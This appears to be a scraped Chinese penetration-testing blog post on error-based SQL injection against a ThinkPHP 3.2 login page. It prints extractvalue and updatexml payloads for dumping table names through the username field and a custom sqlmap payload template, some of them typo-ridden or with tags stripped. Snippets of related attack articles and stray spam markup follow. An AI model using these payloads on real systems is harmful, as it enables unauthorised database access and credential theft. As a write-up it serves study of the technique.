<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    某次報錯注入到自定義sqlmap的payload全過程

    VSole2021-07-16 18:22:16

    01 登錄框存在sql注入:

    通過前期的信息搜集,發現站點使用thinkphp3.2版本的框架,在登錄頁面驗證存在sql注入:


    成功讀取到數據庫版本:

    02 嘗試通過手工注入獲取后臺賬戶

    遺憾的是sqlmap連注入都識別不出:

    --proxy=http://127.0.0.1:8080,將sqlmap的流量轉發到burp分析payload,發現sqlmap發出的包多加了一個AND:

    換手工注入:

    查表名payload:extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
    

    查列名payload:extractvalue(1,concat(0x7e,(select group_concat(column_name) form information_schema.columns where table_name='xxx'),0x7e),1) ,結果報錯了:
    


    分析原因:報錯注入的錯誤信息最大長度為32,如果我們想要的結果超過32,就要用substring()函數截取或limit分頁,一次查看最多32位。查表名時,db_addo后面還有數據,所以db_addo這個表名是不全的。

    limit分頁:password=admin&username[0]=exp&username[1]==updatexml(1,concat(0x7e,(selecttable_name from information_schema.tables where table_schema='xxx' limit 3,1),0x7e),1)
    

    //limit 3,1 讀取第四條數據,第一個參數指定第一個返回記錄行的偏移量,第二個參數指定返回記錄行的最大數目。

    批量獲取表名數據:

    03 嘗試更換sqlmap的payload全程自動化讀取

    理清sqlmap指定報錯注入時獲取數據的流程,三個重要標簽:

    payload>,vector,
    

    1、首先獲取payload標簽的內容,這個標簽也是我們可以控制的標簽,這個標簽就是用來判斷是否有注入點,一般我們手動測到有報錯注入的注入點的時候,就可以把payload放在這里

    2、 接著對payload里面的[]中的標志位換成隨機的字符或數字

    3、然后對payload進行url編碼,同時設置請求頭,包括referer,host等信息

    4、請求后返回獲取的頁面,然后將返回的頁面和中的內容繼續寧正則匹配,匹配后,如果返回值不為1,那么就會繼續循環測試其它的payload。如果正則匹配返回值為1,那么,表示存在注入,此時就會進行其他數據的查詢

    5、返回值是1,接著就會調用vector,調用注入模板,將([query]),換為其它的payload,獲取我們想要的信息。

    添加payload。sqlmap的payload在sqlmap/xml/payloads目錄下(新版本在data/xml/payloads下),關鍵是文件夾里的六個對應不同注入類型的配置文件和boundaries.xml文件。找到對應xml文件:

    替換vector和payload標簽中對應的值,標題、level、risk自定義即可,一個完整的模板以,已結束,這樣得出適用于此場景的注入模板:

    <span class="code-snippet__function" style="box-sizing: border-box;">Customed By <span class="code-snippet__title" style="box-sizing: border-box;">Kevil</span> <span class="code-snippet__params" style="box-sizing: border-box;">(EXTRACTVALUE)</span>2411,2,3,8,91<vector>EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))[DELIMITER_START](?P.*?)[DELIMITER_STOP]MySQL>= 5.1
    

    04 測試效果

    由于sqlmap自帶的payload并不適用于所有測試場景,很多時候手工驗證或者其他工具(xray)掃描出來的sql注入,sqlmap都無法識別出注入,此時自定義sqlmap的payload就更方便讀取大批量數據。

    payloadsqlmap
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    01登錄框存在sql注入:通過前期的信息搜集,發現站點使用thinkphp3.2版本的框架,在登錄頁面驗證存
    之前有看到goby反制和松鼠A師傅蟻劍反制的文章,再想到之前寫過sqlmap的shell免殺,覺得思路其實差不多,就寫一篇sqlmap的反制吧。
    實戰oracle注射獲取真實數據,思路和利用過程全記錄!
    繞過登錄頁面的七種常見方法這篇文章是關于繞過由于網站的弱點而發生的登錄頁面功能。常見的七種方式繞過 SQL 注入通過跨站點腳本通過操縱響應返回包繞過爆破攻擊限制繞過目錄爆破攻擊默認憑據繞過通過刪除請求中的參數繞過 SQL 注入我以 Mutillidae 為例進行演示。我們以管理員身份登錄。在您的情況下,當它不起作用時嘗試其他payload,并使用 SQLMap 工具dump用戶名和密碼。并顯示彈出窗口,因此您可以通過 XSS 嘗試 CSRF 并查看受害者憑據。這是它的 CSRF payload
    首先恭喜我的好朋友jobs拿下上周的第三,這次希望這篇文章能幫助到大家,這次是之前審計的一個電商管理的cms,大部分功能都需要登錄,本人才疏學淺,在登錄功能和驗證功能沒有看出缺陷。下面直接進行審計。
    前言本次審計的話是Seay+昆侖鏡進行漏洞掃描Seay的話它可以很方便的查看各個文件,而昆侖鏡可以很快且掃出更多的漏洞點,將這兩者進行結合起來,就可以發揮更好的效果。$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5.'"';驗證碼的校驗代碼if ($_SESSION['verifycode'] !該文件的含義是用0-9中的任意四個數字作為驗證碼,也就是說js引用該文件來產生驗證碼。wap/seacher.php昆侖鏡掃描利用seay查看源碼//這只是一部分,具體的師傅們可自行查看此文件
    一些重要的SQLMap命令
    2023-05-04 08:55:08
    從掃描SQL注入漏洞到獲取數據庫名字、表和列,以及獲得系統訪問權限,其可被用于多種目的。我們必須給SQLMap提供有效的cookie才能對登錄頁面的POST請求進行掃描。不過別總是保持一個較高的值,因為可能會影響結果的準確性。默認情況下值為1,最高可以設置為3。值為3時,就是最大值,包含了一些嚴重的SQL查詢。級別指定要執行的檢查或payload的數量。
    sqlmap腳本tamper使用
    2022-06-25 07:07:48
    所以有的時候我們會發現,注入成功了但是dump不出數據,很可能是select被過濾了等等原因。如何判斷使用哪個腳本最簡單的辦法就是在url參數中手工帶入關鍵詞,判斷是否被過濾。空格、等于號都沒有過濾,成功報錯。以此類推,當sqlmap注入出現問題時,比如不出數據,就要檢查對應的關鍵詞是否被過濾。
    前言21年省決賽的SQLITE注入就是用的雙寫繞過,當時是手搓代碼打的,這幾天想起來了,尋思著寫個tamper試試。一開始以為很簡單,后來才發現有很多要注意的點,折磨了挺久。等弄完才明白為什么sqlmap沒有自帶雙寫的tamper,涉及的情況太多,需要根據具體過濾邏輯來寫代碼,沒法做到統一。好,然后就是腳本的完整代碼#!
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类